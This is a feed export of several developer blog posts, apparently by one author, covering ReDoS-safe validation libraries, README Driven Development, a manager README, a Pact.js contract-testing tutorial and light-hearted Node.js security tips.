&lt;h4 id=&quot;use-a-thirdparty&quot;&gt;Use a third party&lt;/h4&gt;
&lt;p&gt;Most of the time, if you need the common things it is better to rely on third party libraries which have a million of eyes looking at and improving both performance and security to get the job done than 3 colleagues code reviewing your version.&lt;/p&gt;
&lt;p&gt;A recommended package for JavaScript is &lt;a href=&quot;https://github.com/chriso/validator.js&quot;&gt;&lt;strong&gt;validator.js&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/chriso/validator.js&quot; title=&quot;https://github.com/chriso/validator.js&quot;&gt;&lt;strong&gt;chriso/validator.js&lt;/strong&gt;&lt;br&gt;
_validator.js - String validation_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/chriso/validator.js&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You’ll find all the common patterns — IP Addresses, e-mails, phone numbers, etc.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;even validator.js had its own ReDoS vulnerabilities &lt;a href=&quot;https://nodesecurity.io/advisories/42&quot;&gt;reported&lt;/a&gt; but better it, with a good community of maintainers and security researchers than rolling your own.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;lint-your-regex-before-usingthem&quot;&gt;Lint your RegEx before using them&lt;/h4&gt;
&lt;p&gt;Of course you might need to end up writing your own RegEx pattern for something very unique in your use-case.&lt;/p&gt;
&lt;p&gt;If that’s the case, consider using &lt;a href=&quot;https://github.com/substack/safe-regex&quot;&gt;safe-regex&lt;/a&gt; which is package to help you identify potential bad regular expressions.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/davisjam/safe-regex&quot; title=&quot;https://github.com/davisjam/safe-regex&quot;&gt;&lt;strong&gt;davisjam/safe-regex&lt;/strong&gt;&lt;br&gt;
_Detect possibly catastrophic, exponential-time regular expressions - davisjam/safe-regex_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/davisjam/safe-regex&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;safe-regex&lt;/em&gt;&lt;/strong&gt; is a quick go-to but it isn’t perfect actually so if you’re able to integrate Jamie’s tool you’re better off with it:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/davisjam/vuln-regex-detector&quot; title=&quot;https://github.com/davisjam/vuln-regex-detector&quot;&gt;&lt;strong&gt;davisjam/vuln-regex-detector&lt;/strong&gt;&lt;br&gt;
_vuln-regex-detector - Detect vulnerable regexes in your project. REDOS, catastrophic backtracking._github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/davisjam/vuln-regex-detector&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You followed so far? Britney Approves!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__35511BqSY__V__b2JxkUWGJA.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;further-reading&quot;&gt;Further Reading&lt;/h3&gt;
&lt;p&gt;If you’re interested in strengthening your skill around Node.js Security practices and avoiding Node.js pitfalls in production I invite you to &lt;a href=&quot;http://leanpub.com/nodejssecurity&quot;&gt;grab a copy of the book I wrote&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://leanpub.com/nodejssecurity&quot; title=&quot;https://leanpub.com/nodejssecurity&quot;&gt;&lt;strong&gt;Essential Node.js Security&lt;/strong&gt;&lt;br&gt;
_Hands-on and abundant with source code for a practical guide to Securing Node.js web applications.Node.js Secure Code…_leanpub.com&lt;/a&gt;&lt;a href=&quot;https://leanpub.com/nodejssecurity&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Some of the topics from the book were presented live at 2017’s &lt;a href=&quot;https://jsheroes.io/&quot;&gt;JSHeroes&lt;/a&gt; conference:&lt;/p&gt;
&lt;p&gt;And finally, you can find a gist of security practices I helped contribute to in the popular &lt;a href=&quot;https://github.com/i0natan/nodebestpractices/&quot;&gt;Node.js Best Practices GitHub repo&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/i0natan/nodebestpractices&quot; title=&quot;https://github.com/i0natan/nodebestpractices&quot;&gt;&lt;strong&gt;i0natan/nodebestpractices&lt;/strong&gt;&lt;br&gt;
_nodebestpractices - The largest Node.JS best practices list. Curated from the top ranked articles and always updated_github.com&lt;/a&gt;&lt;a href=&quot;https://github.com/i0natan/nodebestpractices&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Thanks for reading, and stay secure!&lt;/p&gt;</content:encoded></item><item><title>A suggested approach for your next project: RDD — README Driven Development</title><link>https://lirantal.com/blog/a-suggested-approach-for-your-next-project-rdd-readme-driven-development-5fc64c7845db/</link><guid>https://lirantal.com/blog/a-suggested-approach-for-your-next-project-rdd-readme-driven-development-5fc64c7845db/</guid><description>Side projects are an amazing thing.We learn, experiment, and collaborate with the world through them.</description><pubDate>Sat, 28 Apr 2018 18:40:27 GMT</pubDate><content:encoded>&lt;p&gt;Side projects are an amazing thing.&lt;br&gt;
We learn, experiment, and collaborate with the world through them.&lt;/p&gt;
&lt;p&gt;Most of us probably approach side projects by building them, function by function, feature by feature, and they come to be.&lt;/p&gt;
&lt;p&gt;However, with my recent project &lt;a href=&quot;https://github.com/lirantal/npq&quot;&gt;npq&lt;/a&gt; I wanted to do things a little bit different. It’s something I thought about for a while, and I had in my head the overall requirements for.&lt;/p&gt;
&lt;h3 id=&quot;readme-driven-development&quot;&gt;README Driven Development&lt;/h3&gt;
&lt;p&gt;A project’s initial commit is usually boilerplate code, framework, .gitignore’s what not. The other side of the spectrum is where developers complete a great milestone in private, and then push all of it as an “initial commit”.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;README’s are usually an after-thought.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not this time though.&lt;br&gt;
My initial commit included a documented README with the features I want to support and the expected user interaction with tool.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__LRj1kQKCTeKi8__nitTdBQg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2 months of iteration, and 22 releases later — and the basis I laid out in the initial README are the same.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You already know that the only constant thing in software is change.&lt;/p&gt;
&lt;p&gt;Requirements change, features are added, and things might overall take a pivot.&lt;/p&gt;
&lt;p&gt;Still, I find RDD a bit like TDD — it forces you to think about the overall result, without tying your hands down on implementation details.&lt;/p&gt;</content:encoded></item><item><title>Setting the platform with your team — A Manager’s README</title><link>https://lirantal.com/blog/setting-the-platform-with-your-team-a-managers-readme-32764bbc8455/</link><guid>https://lirantal.com/blog/setting-the-platform-with-your-team-a-managers-readme-32764bbc8455/</guid><description>A crucial part of being an engineering manager is on-boarding to a new team, or on-boarding others to yours. The important bits there is…</description><pubDate>Wed, 04 Apr 2018 10:21:31 GMT</pubDate><content:encoded>&lt;p&gt;A crucial part of being an engineering manager is on-boarding to a new team, or on-boarding others to yours. The important bits there is setting correct two-way expectations and atmosphere for how you will be working together.&lt;/p&gt;
&lt;p&gt;With that in mind, and drawing inspiration from &lt;a href=&quot;https://matthewnewkirk.com/2017/09/20/share-your-manager-readme/&quot;&gt;Matt Newkirk&lt;/a&gt;, and &lt;a href=&quot;http://royrapoport.blogspot.co.il/&quot;&gt;Roy Rapoport&lt;/a&gt; I documented my values and short list of philosophies &amp;#x26; expectations that paints a clear picture of team dynamics.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I here by give you a document of my own Manager README.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;eran-as-yourmanager&quot;&gt;Eran, as your manager,&lt;/h3&gt;
&lt;p&gt;I’m excited to get to know you more organically through chats, taking on challenges together, and day to day activities, but a few up-front things about my philosophies that might be helpful.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I’m here to help, support, and mentor you, to set context for what you’re working on, and to advocate for you and the team with the rest of the company.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__t4QzZzbqZ5jJKC0WkEpx8w.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;📆 My calendar might look scary, but I’m here for you! If you see a good time on my calendar, please schedule something (you don’t need to ask first). If there’s urgency and you can’t get a meeting with me for a while, just let me know and I’ll make time. If you need to reschedule something, that is not a problem! I endeavor to make all of my calendar events with modify privileges and you should feel free to go ahead and move it to some other time slot that’s within business hours and not conflicting with other meetings.&lt;/p&gt;
&lt;h4 id=&quot;process-and-software-development&quot;&gt;Process and Software Development&lt;/h4&gt;
&lt;p&gt;I strongly believe in putting people over process and adopting processes or tools to accommodate our needs and goals.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I value &lt;strong&gt;transparency&lt;/strong&gt; about what’s happened, what’s happening, and what’s going to happen.&lt;/li&gt;
&lt;li&gt;I value &lt;strong&gt;ownership&lt;/strong&gt;, and operation freedom, including proactive efforts that keep us moving quickly. e.g. reaching out early to relevant stakeholders, and pushing tasks outside of your direct area of responsibility.&lt;/li&gt;
&lt;li&gt;I value &lt;strong&gt;risk taking&lt;/strong&gt;, innovations and new initiatives, and as such I strive to instill an atmosphere of trust, ego-free, and healthy feedback for a safe environment to experiment, fail, and succeed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__K9FIeYNGQ9VJiQQTUKMkxA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I value &lt;strong&gt;quality&lt;/strong&gt; and high level of engineering culture. e.g. clean code, design reviews, writing tests, refactoring legacy code before a new feature, pairing on work to improve our code quality &amp;#x26; bus factor, and automating everything.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;️-feedback-is-very-important-tome&quot;&gt;🗣️ Feedback is very important to me&lt;/h3&gt;
&lt;p&gt;In situations where anonymous feedback is suggested, you’ll probably hear me suggesting that you provide direct feedback, though anonymous feedback is better than none. I’m dedicated to giving you clear and timely feedback and hope that you’ll give me the same. I believe that feedback requires three attributes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Safety (you should feel safe to give and receive candid feedback)&lt;/li&gt;
&lt;li&gt;Effort (neither you nor I should feel defensive about the feedback)&lt;/li&gt;
&lt;li&gt;Benefit (giving/receiving feedback should have impact)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please let me know if I’m doing poorly on any of these attributes. I’ll return the favor!&lt;/p&gt;
&lt;h3 id=&quot;-im-big-on-empowerment-and-mentoring&quot;&gt;💪 I’m big on empowerment and mentoring&lt;/h3&gt;
&lt;p&gt;This is essentially why I love being an engineering manager, and I would like to make the best of it with you.&lt;/p&gt;
&lt;p&gt;I’m looking forward to finding your areas of interests and work together towards your growth, contributions and accomplishments in these areas. Whether you want to venture into the open source community, become a public speaker, or lead a significant software or architecture design process — I am here to get you there! (or any other place your area of interest lies).&lt;/p&gt;
&lt;p&gt;I’m looking forward to celebrate many wins with you!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__I__E97Qyu5qYWJkEad0lOHQ.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;-11meetings&quot;&gt;👩‍🏫 1:1 meetings&lt;/h3&gt;
&lt;p&gt;I’m big on 1:1s too. I believe these meetings are a great place for you to actively set an agenda. What would you like to talk about? What’s going well? What’s bugging you?&lt;/p&gt;
&lt;p&gt;We will also explore short status updates on tasks and project status to make sure we cover any red flags, or open items that I can help with. For remote chats, I have a difficult time focusing unless I can see your face over video. The length, frequency, and medium are also up to you, but my hope is that we’ll have at least 30 minutes a week. This is only a minimum though, and not a maximum!&lt;/p&gt;
&lt;h3 id=&quot;relationships&quot;&gt;Relationships&lt;/h3&gt;
&lt;p&gt;I endeavor to have a great working relationship with you, and I would encourage you to have great working relationships with your peers and business partners (in the office and/or on your team), as well as other folks in other offices to get a sense of how things work outside of our team. I’m happy to make introductions for you or provide networking suggestions to help you do that.&lt;/p&gt;
&lt;h3 id=&quot;your-philosophies&quot;&gt;Your Philosophies&lt;/h3&gt;
&lt;p&gt;I’ve written a lot here about my philosophies but a fair amount of my job is adapting to &lt;strong&gt;your&lt;/strong&gt; needs and philosophies, and I look forward to talking to you about them!&lt;/p&gt;
&lt;p&gt;Much inspired by Matt’s &lt;a href=&quot;https://matthewnewkirk.com/2017/09/20/share-your-manager-readme/&quot;&gt;Share Your Manager README&lt;/a&gt; article.&lt;br&gt;
Thanks Matt!&lt;/p&gt;</content:encoded></item><item><title>Node.js — Integration Testing with Pact.js</title><link>https://lirantal.com/blog/node-js-integration-testing-with-pact-js-1a2ea8aa3116/</link><guid>https://lirantal.com/blog/node-js-integration-testing-with-pact-js-1a2ea8aa3116/</guid><description>In a previous article we reviewed how Consumer-Driven Contracts (CDC) help with integration testing in an environment that is rich with…</description><pubDate>Mon, 05 Mar 2018 18:41:08 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__SRXBXHAovcH__xkQ5ZSttyg.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/nmc-techblog/scalable-integration-testing-for-microservices-deployments-e03e29dd1280&quot;&gt;In a previous article&lt;/a&gt; we reviewed how Consumer-Driven Contracts (CDC) help with integration testing in an environment that is rich with microservices.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/nmc-techblog/scalable-integration-testing-for-microservices-deployments-e03e29dd1280&quot; title=&quot;https://medium.com/nmc-techblog/scalable-integration-testing-for-microservices-deployments-e03e29dd1280&quot;&gt;&lt;strong&gt;Scalable Integration Testing for Microservices Deployments&lt;/strong&gt;&lt;br&gt;
_Many jumped the gun on microservices, and they are ubiquitous today more than ever for implementing service oriented…_medium.com&lt;/a&gt;&lt;a href=&quot;https://medium.com/nmc-techblog/scalable-integration-testing-for-microservices-deployments-e03e29dd1280&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;solving-it-withpact&quot;&gt;Solving it with Pact&lt;/h3&gt;
&lt;p&gt;Pact is an open source initiative that implements consumer-driven contract testing and is facilitated using the Pact Foundation organization to create and collaborate on pact frameworks for different languages and platforms.&lt;/p&gt;
&lt;p&gt;Some Pact implementations include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ruby&lt;/li&gt;
&lt;li&gt;Java&lt;/li&gt;
&lt;li&gt;Node.js&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;introducing-pactjs&quot;&gt;Introducing Pact.js&lt;/h3&gt;
&lt;p&gt;While there are two sides to the coin, we will focus only on the consumer testing for a Node.js project and review the integration tests with an Ava.js test runner and framework.&lt;/p&gt;
&lt;h3 id=&quot;0-installation&quot;&gt;0. Installation&lt;/h3&gt;
&lt;p&gt;Install the pact npm package as dev dependency:&lt;/p&gt;
&lt;p&gt;npm install &lt;em&gt;—save-dev pact&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;1-create-the-testfile&quot;&gt;1. Create the test file&lt;/h3&gt;
&lt;p&gt;Depending on your Node.js framework and directory structure, create a test (spec) file where we will write our integration test with pact.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;// consumer-example-test.integration.test.js&lt;/em&gt;&lt;br&gt;
const path = require(‘path’)&lt;br&gt;
const test = require(‘ava’)&lt;br&gt;
const pact = require(‘pact’)&lt;br&gt;
const request = require(‘request’)&lt;/p&gt;
&lt;h3 id=&quot;2-define-the-pactserver&quot;&gt;2. Define the Pact server&lt;/h3&gt;
&lt;p&gt;const MOCK_SERVER_PORT = 2202&lt;br&gt;
&lt;br&gt;
const provider = pact({&lt;br&gt;
consumer: ‘TodoApp’,&lt;br&gt;
provider: ‘TodoService’,&lt;br&gt;
port: MOCK_SERVER_PORT,&lt;br&gt;
log: path.resolve(process.cwd(), ‘logs’, ‘pact.log’),&lt;br&gt;
dir: path.resolve(__dirname, ‘pacts’),&lt;br&gt;
logLevel: ‘INFO’,&lt;br&gt;
spec: 2&lt;br&gt;
})&lt;/p&gt;
&lt;p&gt;While we said we’re writing a consumer test, don’t be mis-lead by the &lt;em&gt;provider&lt;/em&gt; variable definition. This is where we define the pact server which mocks our provider and will respond to API requests we make to it.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;consumer&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;provider&lt;/em&gt;&lt;/strong&gt; are simply names to make it easier when debugging, reviewing test logs, and for use in the generated Pact contract in the end.&lt;/li&gt;
&lt;li&gt;Pact will start a service listening on port 2202, writing logs to a &lt;em&gt;logs/&lt;/em&gt; directory where the test are executed from, and will create the actual pact contract file in a directory &lt;em&gt;pacts/&lt;/em&gt; that resides next to where you created the test file itself.&lt;/li&gt;
&lt;li&gt;Pact will use the latest specification version that it supports (v2)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;3-testsetup&quot;&gt;3. Test Setup&lt;/h3&gt;
&lt;p&gt;test.before(‘setting up pact’, async t =&gt; {&lt;br&gt;
&lt;em&gt;// this is the response you expect from your Provider&lt;/em&gt;&lt;br&gt;
const EXPECTED_BODY = [{&lt;br&gt;
id: 1,&lt;br&gt;
name: ‘Project 1’,&lt;br&gt;
type: ‘1’,&lt;br&gt;
due: ‘2016-02-11T09:46:56.023Z’,&lt;br&gt;
tasks: [&lt;br&gt;
{id: 1, name: ‘Do the laundry’, ‘done’: true},&lt;br&gt;
{id: 2, name: ‘Do the dishes’, ‘done’: false},&lt;br&gt;
{id: 3, name: ‘Do the backyard’, ‘done’: false},&lt;br&gt;
{id: 4, name: ‘Do nothing’, ‘done’: false}&lt;br&gt;
]&lt;br&gt;
}]&lt;/p&gt;
&lt;p&gt;await provider.setup()&lt;br&gt;
.then(() =&gt; {&lt;br&gt;
provider.addInteraction({&lt;br&gt;
&lt;em&gt;// The ‘state’ field specifies a “Provider State”&lt;/em&gt;&lt;br&gt;
state: ‘i have a list of projects’,&lt;br&gt;
uponReceiving: ‘a request for projects’,&lt;br&gt;
withRequest: {&lt;br&gt;
method: ‘GET’,&lt;br&gt;
path: ‘/projects’,&lt;br&gt;
headers: {‘Accept’: ‘application/json’},&lt;br&gt;
query: {&lt;br&gt;
projectTypes: pact.Matchers.term({&lt;br&gt;
matcher: ‘\\d+‘,&lt;br&gt;
generate: ‘1’&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;        })  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      }  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    },  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    willRespondWith: {  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      status: 200,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      headers: {&apos;Content-Type&apos;: &apos;application/json&apos;},  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      body: EXPECTED\_BODY  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    }  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  })  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;})  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;})&lt;/p&gt;
&lt;p&gt;Before our tests can actually run we need to start the Pact service and provide it with our expected interactions.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is where we define our expectations. Any mis-match between expected interactions will result in the test throwing an error when being asserted.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;withRequest&lt;/em&gt; and &lt;em&gt;willRespondWith&lt;/em&gt; define the expected interaction between the API consumer and provider.&lt;/li&gt;
&lt;li&gt;You will notice the expectation for the request part is also defining a query parameter called &lt;em&gt;projectTypes&lt;/em&gt; which the consumer API is expected to send and we use a capability from the pact library known as matchers to allow some flexibility on the provider implementation of the contract by using a number regex.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;4-consumertesting&quot;&gt;4. Consumer Testing&lt;/h3&gt;
&lt;p&gt;test.cb(‘should generate a list of TODOs for the main screen’, t =&gt; {&lt;br&gt;
t.plan(1)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;// const todoApp = new TodoApp()&lt;/em&gt;&lt;br&gt;
&lt;em&gt;// todoApp.getProjects() // &amp;#x3C;- this method would make the remote http call&lt;/em&gt;&lt;br&gt;
&lt;em&gt;//   .then((projects) =&gt; {&lt;/em&gt;&lt;br&gt;
&lt;em&gt;//     expect(projects).to.be.a(‘array’)&lt;/em&gt;&lt;br&gt;
&lt;em&gt;//     expect(projects).to.have.deep.property(‘projects[0].id’, 1)&lt;/em&gt;&lt;br&gt;
&lt;em&gt;//&lt;/em&gt;&lt;br&gt;
&lt;em&gt;//     // (5) validate the interactions occurred, this will throw an error if it fails telling you what went wrong&lt;/em&gt;&lt;br&gt;
&lt;em&gt;//     return provider.verify()&lt;/em&gt;&lt;br&gt;
&lt;em&gt;//   })&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;const reqOptions = {&lt;br&gt;
url: `&lt;a href=&quot;http://localhost:$%7BMOCK%5C_SERVER%5C_PORT%7D/projects?projectTypes=1%5C%60&quot;&gt;http://localhost:${MOCK\_SERVER\_PORT}/projects?projectTypes=1\`&lt;/a&gt;,&lt;br&gt;
method: ‘GET’,&lt;br&gt;
json: true&lt;br&gt;
}&lt;/p&gt;
&lt;p&gt;request(reqOptions, async (error, response, body) =&gt; {&lt;br&gt;
if (error) {&lt;br&gt;
t.fail()&lt;br&gt;
}&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;// This is the important part, where we assert expected interactions with our Pact service  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;await t.notThrows(provider.verify())  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;t.end()  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;})&lt;/p&gt;
&lt;p&gt;})&lt;/p&gt;
&lt;p&gt;This is our actual consumer test where we use the &lt;em&gt;request&lt;/em&gt; module to make HTTP requests to the mocked API service that the pact library created for us.&lt;/p&gt;
&lt;p&gt;About the actual consumer test — the top part which is commented shows an actual expected usage in real world where you call an internal logic that behind the scenes expects to fire an API call to the provider. Another case can be where you simulate requests with &lt;em&gt;supertest&lt;/em&gt; to an internal API end-point inside your own consumer, which in-turn fires that API call to the provider.&lt;/p&gt;
&lt;p&gt;The bottom part of the test where we fire that API call to the provider is just for the sake of a working example.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Most importantly&lt;/strong&gt;, we assert with &lt;em&gt;provider.verify()&lt;/em&gt; that indeed all expected interactions have been fulfilled by making sure it doesn’t throw an error, and then conclude the test.&lt;/p&gt;
&lt;h3 id=&quot;5-test-tear-down&quot;&gt;5. Test tear-down&lt;/h3&gt;
&lt;p&gt;test.always.after(async () =&gt; {&lt;br&gt;
&lt;em&gt;// (6) write the pact file for this consumer-provider pair,&lt;/em&gt;&lt;br&gt;
&lt;em&gt;// and shutdown the associated mock server.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;// You should do this only _once_ per Provider you are testing.&lt;/em&gt;&lt;br&gt;
await provider.finalize()&lt;br&gt;
})&lt;/p&gt;
&lt;p&gt;After running the test, you can consult the verbose pact.log file to gain more clarity on how the interactions work, and better yet, you now have a pact file in the &lt;em&gt;pacts/&lt;/em&gt; directory that you can collaborate on with your provider!&lt;/p&gt;
&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Pact.js makes it really easy for us to write consumer tests, and you’re invited to help collaborate with us in an open source spirit at: &lt;a href=&quot;https://github.com/pact-foundation/pact-js&quot;&gt;https://github.com/pact-foundation/pact-js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mind your test setup — usually you will be dependent on data available for the consumer in order to test the provider as well so plan for that when you’re writing your consumer tests.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For brevity, the test code itself is written in a simple manner but there are better patterns to employ on how to write your tests, such as defining interactions and their expectations within the test case itself and not on the global test suite.&lt;/p&gt;
&lt;p&gt;In the next follow-up post we will review more in-depth on the Pact.js framework lifecycle, and test patterns for better tests.&lt;/p&gt;</content:encoded></item><item><title>💚 3 Valentine’s Poems for a Beloved &amp; Secure Node.js App</title><link>https://lirantal.com/blog/3-valentines-poems-for-a-beloved-secure-node-js-app-bc9dc27dca00/</link><guid>https://lirantal.com/blog/3-valentines-poems-for-a-beloved-secure-node-js-app-bc9dc27dca00/</guid><description>Dedicated to everyone whom are helpless romantics as I am, and hopelessly in-love with their Node.js apps.</description><pubDate>Fri, 16 Feb 2018 14:14:28 GMT</pubDate><content:encoded>&lt;p&gt;Dedicated to everyone whom are helpless romantics as I am, and hopelessly in-love with their Node.js apps.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__B6McTs1aMuPrGnQJUikH3A.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;in-a-relationship-you-respect-a-spouses-privileges&quot;&gt;In a Relationship You Respect a Spouse’s Privileges!&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Roses are red,&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Violets are blue,&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Never run node with su__&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you’re brain didn’t auto-complete that — You never want to run the Node.js process, or an npm install with a superuser privileges, &lt;strong&gt;such as the common mistake&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;# don’t do this!&lt;br&gt;
sudo node index.js&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;it-is-important-tolisten&quot;&gt;It Is Important To Listen&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__zIpyl7P__Llpg2T9D2Cpg7Q.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Roses are red,&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Violets are blue,&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Never write a regex, or you’ll DoS your task que__&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you’re brain didn’t auto-complete that — You want to avoid as much as you possible writing any custom regex code on a JavaScript app (browser or Node.js), due to the fact that regular expressions require compute cycles and it is easy to write a bad regex that can lead to denial of service by blocking the event loop.&lt;/p&gt;
&lt;p&gt;Instead, use a common validation library such as one from below, or run your regex through safe-regex to validate the pattern.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;npm install&lt;/em&gt; &lt;a href=&quot;https://github.com/chriso/validator.js/&quot;&gt;&lt;em&gt;validator&lt;/em&gt;&lt;/a&gt; &lt;em&gt;joi safe-regex&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;secrets-should-remainsecret&quot;&gt;Secrets Should Remain Secret&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__w1OGFI5HIQ3yMrpNBQEtHA.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Roses are red,&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Violets are blue,&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Committing secrets to git? Shame on you!&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Plain-text secrets in your source code is bad, and worse when they get pushed to a repository, public or private. One workaround is to encrypt them at rest in source code but that’s not very manageable and has a lot of downsides, a better one is using a service over secure wire to access them. Another option is following the &lt;a href=&quot;https://12factor.net/&quot;&gt;12 factor app&lt;/a&gt; environment variables pattern.&lt;/p&gt;
